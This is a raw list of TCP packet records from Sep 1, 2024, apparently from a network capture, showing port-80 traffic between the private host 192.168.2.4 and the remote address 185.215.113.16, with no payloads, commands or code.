Sep 1, 2024 02:48:11.112195969 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112201929 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112205029 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112215042 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112225056 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112226009 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112236023 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112238884 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112265110 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112276077 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112337112 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112348080 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112355947 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112389088 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112402916 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112615108 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112626076 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112636089 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112638950 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112663031 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112668037 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112675905 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112677097 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112694025 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112705946 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112708092 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112716913 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112720966 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112732887 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112751007 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112768888 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112771988 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112806082 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112899065 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112909079 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112917900 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112926960 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112936974 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112938881 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112948895 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112960100 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112963915 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112977982 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.112987995 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.112997055 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.113001108 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.113007069 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.113020897 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.113024950 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.113034010 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.113043070 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.113043070 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.113065004 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.113073111 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.113078117 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.113084078 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.113112926 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.113121986 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.113149881 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.113163948 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.113193989 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.135938883 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.135950089 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.135967970 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.135977983 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.135987997 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.135997057 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.136004925 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.136008978 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.136172056 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.136172056 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.136183977 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.136194944 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.136204958 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.136224985 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.136231899 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.136243105 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.136245966 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.136253119 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.136271954 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.136302948 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.137681961 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137691975 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137701988 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137711048 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137722969 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137725115 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.137732983 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137742043 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137744904 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.137751102 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137761116 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137769938 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137773037 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.137783051 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137792110 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137798071 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.137803078 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137809038 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.137818098 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137825966 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.137830019 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137851954 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.137876987 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.137947083 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137964010 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137973070 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137983084 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.137983084 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.137994051 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138001919 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138005018 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138015032 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138019085 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138025045 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138034105 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138039112 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138044119 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138055086 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138063908 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138063908 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138072968 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138075113 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138094902 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138114929 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138386011 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138401031 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138411999 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138422012 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138428926 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138432980 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138442039 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138469934 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138540030 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138550997 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138559103 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138569117 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138580084 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138586044 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138591051 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138601065 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138602972 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138616085 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138622046 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138627052 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138636112 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138645887 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138647079 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138655901 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138659954 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138667107 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138676882 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.138684034 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.138714075 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.139425993 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.139470100 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.139477015 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.139487982 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.139498949 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.139518023 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.139544010 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.175873995 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.175895929 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.175906897 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.175918102 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.175937891 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.175949097 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.175968885 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.175980091 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.175992012 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.176002979 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.176014900 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.176040888 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.176040888 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.176040888 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.176040888 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.176040888 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.176057100 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.198841095 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.198852062 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.198862076 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.198992014 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.198996067 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.198996067 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199002981 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199012995 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199022055 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199032068 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199033022 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199048042 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199059010 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199059010 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199068069 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199069023 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199079037 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199089050 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199091911 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199100018 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199130058 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199136019 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199323893 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199368954 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199395895 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199407101 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199415922 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199425936 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199434042 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199435949 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199445963 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199457884 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199479103 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199479103 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199489117 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199507952 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199517012 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199520111 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199528933 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199532032 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199538946 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199564934 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199578047 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199583054 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199593067 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199603081 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199624062 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199630976 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199650049 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199670076 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199680090 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199690104 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199701071 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199711084 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199712038 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199736118 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199749947 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199814081 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199825048 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199835062 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199875116 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199903011 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199911118 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199919939 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199929953 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199940920 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.199956894 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199965954 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.199987888 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.222651958 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.222662926 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.222682953 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.222692013 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.222702980 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.222712994 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.222718000 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.222882986 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.222954035 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.222963095 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.222974062 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.222995043 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.223014116 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.223052979 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223069906 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223081112 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223089933 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223092079 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.223107100 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223109961 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.223123074 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223129988 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.223134041 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223144054 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223154068 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223155975 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.223165035 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223176956 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223186016 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.223202944 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.223221064 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.223866940 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223875999 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223886013 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223911047 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.223937035 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.223937988 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223948956 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223958015 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223968983 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223968983 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.223988056 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.223992109 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.223998070 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224009037 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224011898 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224018097 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224030018 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224047899 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224057913 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224059105 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224069118 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224081993 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224102020 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224121094 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224131107 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224142075 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224165916 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224165916 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224193096 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224220991 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224231958 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224241018 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224262953 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224292040 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224297047 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224308014 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224317074 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224337101 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224349976 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224359035 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224360943 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224370956 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224387884 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224395037 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224411011 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224420071 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224425077 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224435091 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224443913 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224462986 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224467039 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224473000 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224483967 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224499941 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224505901 CEST	49736	80	192.168.2.4	185.215.113.16
